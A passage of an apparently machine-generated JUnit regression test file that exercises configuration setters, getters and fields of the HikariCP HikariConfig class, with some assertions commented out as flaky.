org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str14);
org.junit.Assert.assertTrue("'" + long15 + "' != '" + 2147483647L + "'", long15 == 2147483647L);
// flaky: org.junit.Assert.assertTrue("'" + long16 + "' != '" + 60L + "'", long16 == 60L);
org.junit.Assert.assertTrue("'" + boolean25 + "' != '" + false + "'", boolean25 == false);
org.junit.Assert.assertNull(str26);
org.junit.Assert.assertTrue("'" + boolean27 + "' != '" + true + "'", boolean27 == true);
org.junit.Assert.assertNull(str28);
org.junit.Assert.assertNotNull(properties29);
}
@Test
public void test19354() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19354");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setMaxLifetime((long) (short) 1);
int int10 = hikariConfig1.getAcquireRetries();
java.lang.String str11 = hikariConfig1.connectionCustomizerClassName;
javax.sql.DataSource dataSource12 = null;
hikariConfig1.setDataSource(dataSource12);
java.lang.String str14 = hikariConfig1.getDataSourceClassName();
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
int int17 = hikariConfig16.getTransactionIsolation();
hikariConfig16.setRegisterMbeans(false);
java.lang.String str20 = hikariConfig16.transactionIsolationName;
int int21 = hikariConfig16.getMaximumPoolSize();
long long22 = hikariConfig16.getIdleTimeout();
int int23 = hikariConfig16.maxPoolSize;
hikariConfig16.catalog = "HikariPool-1067";
java.util.Properties properties26 = null;
com.zaxxer.hikari.HikariConfig hikariConfig27 = new com.zaxxer.hikari.HikariConfig(properties26);
boolean boolean28 = hikariConfig27.isAutoCommit;
hikariConfig27.poolName = "hi!";
java.lang.String str31 = hikariConfig27.dataSourceClassName;
java.lang.String str32 = hikariConfig27.dataSourceClassName;
hikariConfig27.setJdbc4ConnectionTest(false);
java.lang.String str35 = hikariConfig27.transactionIsolationName;
hikariConfig27.setMaximumPoolSize((int) (short) 0);
java.lang.String str38 = hikariConfig27.getCatalog();
hikariConfig27.connectionInitSql = "";
hikariConfig27.setAutoCommit(true);
java.lang.String str43 = hikariConfig27.getConnectionInitSql();
java.util.Properties properties44 = hikariConfig27.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig45 = new com.zaxxer.hikari.HikariConfig(properties44);
hikariConfig16.setDataSourceProperties(properties44);
hikariConfig1.dataSourceProperties = properties44;
hikariConfig1.acquireRetries = 52;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 3 + "'", int10 == 3);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNull(str14);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 60 + "'", int21 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long22 + "' != '" + 60L + "'", long22 == 60L);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + 60 + "'", int23 == 60);
org.junit.Assert.assertTrue("'" + boolean28 + "' != '" + true + "'", boolean28 == true);
org.junit.Assert.assertNull(str31);
org.junit.Assert.assertNull(str32);
org.junit.Assert.assertNull(str35);
org.junit.Assert.assertNull(str38);
org.junit.Assert.assertEquals("'" + str43 + "' != '" + "" + "'", str43, "");
org.junit.Assert.assertNotNull(properties44);
}
@Test
public void test19355() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19355");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setRegisterMbeans(true);
hikariConfig1.leakDetectionThreshold = 0L;
javax.sql.DataSource dataSource13 = null;
hikariConfig1.setDataSource(dataSource13);
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
boolean boolean17 = hikariConfig16.isAutoCommit;
int int18 = hikariConfig16.getAcquireIncrement();
java.util.Properties properties19 = hikariConfig16.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties19;
hikariConfig1.transactionIsolation = '#';
hikariConfig1.acquireRetries = 0;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer25 = hikariConfig1.connectionCustomizer;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 0 + "'", int18 == 0);
org.junit.Assert.assertNotNull(properties19);
org.junit.Assert.assertNull(iConnectionCustomizer25);
}
@Test
public void test19356() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19356");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
boolean boolean10 = hikariConfig1.isInitializationFailFast();
hikariConfig1.dataSourceClassName = "hi!";
boolean boolean13 = hikariConfig1.isInitializationFailFast();
hikariConfig1.leakDetectionThreshold = 0;
java.lang.String str16 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.isJdbc4connectionTest = true;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
org.junit.Assert.assertNull(str16);
}
@Test
public void test19357() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19357");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = (byte) 1;
hikariConfig1.isAutoCommit = false;
boolean boolean13 = hikariConfig1.isRegisterMbeans;
hikariConfig1.maxPoolSize = 'a';
hikariConfig1.maxLifetime = 3;
hikariConfig1.setMaxLifetime((long) '4');
int int20 = hikariConfig1.getTransactionIsolation();
java.lang.String str21 = hikariConfig1.connectionCustomizerClassName;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + int20 + "' != '" + 1 + "'", int20 == 1);
org.junit.Assert.assertNull(str21);
}
@Test
public void test19358() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19358");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
hikariConfig1.setRegisterMbeans(false);
java.lang.String str8 = hikariConfig1.getDataSourceClassName();
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str11 = hikariConfig10.poolName;
hikariConfig10.setDataSourceClassName("");
hikariConfig1.addDataSourceProperty("HikariPool-249", (java.lang.Object) hikariConfig10);
java.lang.String str15 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setDataSourceClassName("HikariPool-472");
hikariConfig1.setMaximumPoolSize(0);
java.lang.String str20 = hikariConfig1.getDataSourceClassName();
long long21 = hikariConfig1.leakDetectionThreshold;
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireIncrement((int) (byte) 1);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str8);
// flaky: org.junit.Assert.assertEquals("'" + str11 + "' != '" + "HikariPool-51190" + "'", str11, "HikariPool-51190");
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertEquals("'" + str20 + "' != '" + "HikariPool-472" + "'", str20, "HikariPool-472");
org.junit.Assert.assertTrue("'" + long21 + "' != '" + 0L + "'", long21 == 0L);
}
@Test
public void test19359() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19359");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
int int4 = hikariConfig1.getMinimumPoolSize();
hikariConfig1.setAutoCommit(false);
hikariConfig1.isJdbc4connectionTest = false;
boolean boolean9 = hikariConfig1.isInitializationFailFast;
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 10 + "'", int4 == 10);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
}
@Test
public void test19360() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19360");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
boolean boolean3 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.idleTimeout = (byte) 1;
hikariConfig1.isJdbc4connectionTest = true;
hikariConfig1.setDataSourceClassName("HikariPool-173");
java.lang.String str10 = hikariConfig1.catalog;
hikariConfig1.isInitializationFailFast = true;
hikariConfig1.transactionIsolation = (short) 0;
int int15 = hikariConfig1.acquireRetries;
java.lang.String str16 = hikariConfig1.connectionTestQuery;
hikariConfig1.connectionCustomizerClassName = "";
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + boolean3 + "' != '" + true + "'", boolean3 == true);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 3 + "'", int15 == 3);
org.junit.Assert.assertNull(str16);
}
@Test
public void test19361() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19361");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
boolean boolean10 = hikariConfig1.isInitializationFailFast();
long long11 = hikariConfig1.maxLifetime;
hikariConfig1.minPoolSize = (byte) -1;
boolean boolean14 = hikariConfig1.isJdbc4connectionTest;
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
int int17 = hikariConfig16.getTransactionIsolation();
hikariConfig16.setRegisterMbeans(false);
java.lang.String str20 = hikariConfig16.transactionIsolationName;
long long21 = hikariConfig16.getIdleTimeout();
java.lang.String str22 = hikariConfig16.getCatalog();
java.lang.String str23 = hikariConfig16.getConnectionTestQuery();
java.util.Properties properties24 = null;
com.zaxxer.hikari.HikariConfig hikariConfig25 = new com.zaxxer.hikari.HikariConfig(properties24);
hikariConfig25.dataSourceClassName = "";
java.util.Properties properties28 = hikariConfig25.dataSourceProperties;
hikariConfig16.setDataSourceProperties(properties28);
hikariConfig1.setDataSourceProperties(properties28);
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties28);
hikariConfig31.maxLifetime = 3;
int int34 = hikariConfig31.getMinimumPoolSize();
hikariConfig31.setTransactionIsolation("HikariPool-68");
java.lang.String str37 = hikariConfig31.getDataSourceClassName();
java.util.Properties properties38 = null;
com.zaxxer.hikari.HikariConfig hikariConfig39 = new com.zaxxer.hikari.HikariConfig(properties38);
boolean boolean40 = hikariConfig39.isAutoCommit;
hikariConfig39.poolName = "hi!";
java.lang.String str43 = hikariConfig39.dataSourceClassName;
java.lang.String str44 = hikariConfig39.dataSourceClassName;
hikariConfig39.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer47 = hikariConfig39.connectionCustomizer;
boolean boolean48 = hikariConfig39.isInitializationFailFast;
long long49 = hikariConfig39.maxLifetime;
java.util.Properties properties50 = null;
com.zaxxer.hikari.HikariConfig hikariConfig51 = new com.zaxxer.hikari.HikariConfig(properties50);
int int52 = hikariConfig51.getTransactionIsolation();
hikariConfig51.setConnectionTimeout((long) (short) 0);
java.util.Properties properties55 = hikariConfig51.getDataSourceProperties();
hikariConfig39.setDataSourceProperties(properties55);
hikariConfig31.setDataSourceProperties(properties55);
boolean boolean58 = hikariConfig31.isRegisterMbeans();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + (-1L) + "'", long11 == (-1L));
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNull(str20);
// flaky: org.junit.Assert.assertTrue("'" + long21 + "' != '" + 60L + "'", long21 == 60L);
org.junit.Assert.assertNull(str22);
org.junit.Assert.assertNull(str23);
org.junit.Assert.assertNotNull(properties28);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + 10 + "'", int34 == 10);
org.junit.Assert.assertNull(str37);
org.junit.Assert.assertTrue("'" + boolean40 + "' != '" + true + "'", boolean40 == true);
org.junit.Assert.assertNull(str43);
org.junit.Assert.assertNull(str44);
org.junit.Assert.assertNull(iConnectionCustomizer47);
org.junit.Assert.assertTrue("'" + boolean48 + "' != '" + false + "'", boolean48 == false);
// flaky: org.junit.Assert.assertTrue("'" + long49 + "' != '" + 35L + "'", long49 == 35L);
org.junit.Assert.assertTrue("'" + int52 + "' != '" + (-1) + "'", int52 == (-1));
org.junit.Assert.assertNotNull(properties55);
org.junit.Assert.assertTrue("'" + boolean58 + "' != '" + false + "'", boolean58 == false);
}
@Test
public void test19362() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19362");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
java.lang.String str4 = hikariConfig1.connectionCustomizerClassName;
java.lang.String str5 = hikariConfig1.dataSourceClassName;
boolean boolean6 = hikariConfig1.isInitializationFailFast;
boolean boolean7 = hikariConfig1.isInitializationFailFast;
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setAcquireRetries(1);
org.junit.Assert.assertNull(str4);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + boolean6 + "' != '" + false + "'", boolean6 == false);
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + false + "'", boolean7 == false);
}
@Test
public void test19363() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19363");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.setAcquireRetries(100);
long long14 = hikariConfig1.getIdleTimeout();
boolean boolean15 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setPoolName("HikariPool-222");
int int18 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
int int21 = hikariConfig20.getTransactionIsolation();
hikariConfig20.setRegisterMbeans(false);
java.lang.String str24 = hikariConfig20.transactionIsolationName;
long long25 = hikariConfig20.getIdleTimeout();
java.lang.String str26 = hikariConfig20.getCatalog();
java.util.Properties properties27 = hikariConfig20.getDataSourceProperties();
hikariConfig20.setIdleTimeout((long) (short) 10);
hikariConfig20.maxLifetime = (-1);
java.util.Properties properties32 = null;
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties32);
int int34 = hikariConfig33.getTransactionIsolation();
hikariConfig33.setRegisterMbeans(false);
java.lang.String str37 = hikariConfig33.transactionIsolationName;
int int38 = hikariConfig33.transactionIsolation;
java.lang.String str39 = hikariConfig33.getConnectionInitSql();
int int40 = hikariConfig33.getMaximumPoolSize();
hikariConfig33.setJdbc4ConnectionTest(false);
java.util.Properties properties44 = null;
com.zaxxer.hikari.HikariConfig hikariConfig45 = new com.zaxxer.hikari.HikariConfig(properties44);
int int46 = hikariConfig45.getTransactionIsolation();
hikariConfig45.setRegisterMbeans(false);
java.lang.String str49 = hikariConfig45.transactionIsolationName;
long long50 = hikariConfig45.getIdleTimeout();
java.lang.String str51 = hikariConfig45.getCatalog();
java.util.Properties properties52 = hikariConfig45.getDataSourceProperties();
hikariConfig45.setUseInstrumentation(false);
hikariConfig33.addDataSourceProperty("HikariPool-222", (java.lang.Object) hikariConfig45);
hikariConfig33.poolName = "HikariPool-104";
java.util.Properties properties58 = null;
com.zaxxer.hikari.HikariConfig hikariConfig59 = new com.zaxxer.hikari.HikariConfig(properties58);
hikariConfig59.leakDetectionThreshold = 100;
boolean boolean62 = hikariConfig59.isJdbc4ConnectionTest();
java.util.Properties properties63 = null;
com.zaxxer.hikari.HikariConfig hikariConfig64 = new com.zaxxer.hikari.HikariConfig(properties63);
int int65 = hikariConfig64.getTransactionIsolation();
hikariConfig64.setRegisterMbeans(false);
java.lang.String str68 = hikariConfig64.transactionIsolationName;
long long69 = hikariConfig64.getIdleTimeout();
java.lang.String str70 = hikariConfig64.getCatalog();
java.lang.String str71 = hikariConfig64.getConnectionTestQuery();
java.util.Properties properties72 = null;
com.zaxxer.hikari.HikariConfig hikariConfig73 = new com.zaxxer.hikari.HikariConfig(properties72);
hikariConfig73.dataSourceClassName = "";
java.util.Properties properties76 = hikariConfig73.dataSourceProperties;
hikariConfig64.setDataSourceProperties(properties76);
hikariConfig59.dataSourceProperties = properties76;
java.util.Properties properties79 = hikariConfig59.dataSourceProperties;
hikariConfig33.dataSourceProperties = properties79;
hikariConfig20.dataSourceProperties = properties79;
com.zaxxer.hikari.HikariConfig hikariConfig82 = new com.zaxxer.hikari.HikariConfig(properties79);
hikariConfig1.setDataSourceProperties(properties79);
java.util.Properties properties84 = hikariConfig1.getDataSourceProperties();
com.zaxxer.hikari.HikariConfig hikariConfig85 = new com.zaxxer.hikari.HikariConfig(properties84);
long long86 = hikariConfig85.connectionTimeout;
hikariConfig85.maxLifetime = (byte) 0;
hikariConfig85.setLeakDetectionThreshold((long) (short) -1);
hikariConfig85.acquireRetries = (short) 0;
hikariConfig85.maxPoolSize = (-1);
java.util.Properties properties95 = hikariConfig85.getDataSourceProperties();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertNull(str24);
// flaky: org.junit.Assert.assertTrue("'" + long25 + "' != '" + 60L + "'", long25 == 60L);
org.junit.Assert.assertNull(str26);
org.junit.Assert.assertNotNull(properties27);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + (-1) + "'", int34 == (-1));
org.junit.Assert.assertNull(str37);
org.junit.Assert.assertTrue("'" + int38 + "' != '" + (-1) + "'", int38 == (-1));
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertTrue("'" + int40 + "' != '" + 60 + "'", int40 == 60);
org.junit.Assert.assertTrue("'" + int46 + "' != '" + (-1) + "'", int46 == (-1));
org.junit.Assert.assertNull(str49);
// flaky: org.junit.Assert.assertTrue("'" + long50 + "' != '" + 60L + "'", long50 == 60L);
org.junit.Assert.assertNull(str51);
org.junit.Assert.assertNotNull(properties52);
org.junit.Assert.assertTrue("'" + boolean62 + "' != '" + true + "'", boolean62 == true);
org.junit.Assert.assertTrue("'" + int65 + "' != '" + (-1) + "'", int65 == (-1));
org.junit.Assert.assertNull(str68);
// flaky: org.junit.Assert.assertTrue("'" + long69 + "' != '" + 60L + "'", long69 == 60L);
org.junit.Assert.assertNull(str70);
org.junit.Assert.assertNull(str71);
org.junit.Assert.assertNotNull(properties76);
org.junit.Assert.assertNotNull(properties79);
org.junit.Assert.assertNotNull(properties84);
// flaky: org.junit.Assert.assertTrue("'" + long86 + "' != '" + 10L + "'", long86 == 10L);
org.junit.Assert.assertNotNull(properties95);
}
@Test
public void test19364() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19364");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
java.lang.String str7 = hikariConfig1.dataSourceClassName;
boolean boolean8 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setConnectionTestQuery("HikariPool-68");
int int11 = hikariConfig1.getAcquireRetries();
java.util.Properties properties12 = null;
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setDataSourceProperties(properties12);
org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + false + "'", boolean8 == false);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 3 + "'", int11 == 3);
}
@Test
public void test19365() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19365");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.setAcquireRetries(100);
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.idleTimeout = 87L;
hikariConfig1.idleTimeout = (short) -1;
long long20 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.acquireRetries = (-1);
java.lang.String str23 = hikariConfig1.catalog;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + long20 + "' != '" + 0L + "'", long20 == 0L);
org.junit.Assert.assertNull(str23);
}
@Test
public void test19366() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19366");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setMaxLifetime((long) (short) 1);
java.lang.String str10 = hikariConfig1.getConnectionCustomizerClassName();
javax.sql.DataSource dataSource11 = hikariConfig1.getDataSource();
javax.sql.DataSource dataSource12 = null;
hikariConfig1.dataSource = dataSource12;
int int14 = hikariConfig1.getAcquireRetries();
java.lang.String str15 = hikariConfig1.getPoolName();
hikariConfig1.idleTimeout = 52;
boolean boolean18 = hikariConfig1.isRegisterMbeans;
long long19 = hikariConfig1.maxLifetime;
java.lang.String str20 = hikariConfig1.getConnectionTestQuery();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(dataSource11);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 3 + "'", int14 == 3);
// flaky: org.junit.Assert.assertEquals("'" + str15 + "' != '" + "HikariPool-51217" + "'", str15, "HikariPool-51217");
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + false + "'", boolean18 == false);
org.junit.Assert.assertTrue("'" + long19 + "' != '" + 1L + "'", long19 == 1L);
org.junit.Assert.assertNull(str20);
}
@Test
public void test19367() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19367");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = (byte) 1;
hikariConfig1.isAutoCommit = false;
boolean boolean13 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.transactionIsolation = (byte) 1;
boolean boolean16 = hikariConfig1.isAutoCommit();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + false + "'", boolean16 == false);
}
@Test
public void test19368() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19368");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
int int9 = hikariConfig1.minPoolSize;
int int10 = hikariConfig1.minPoolSize;
java.lang.String str11 = hikariConfig1.dataSourceClassName;
java.util.Properties properties12 = hikariConfig1.getDataSourceProperties();
long long13 = hikariConfig1.getConnectionTimeout();
hikariConfig1.setCatalog("HikariPool-770");
java.util.Properties properties16 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setIdleTimeout((-1L));
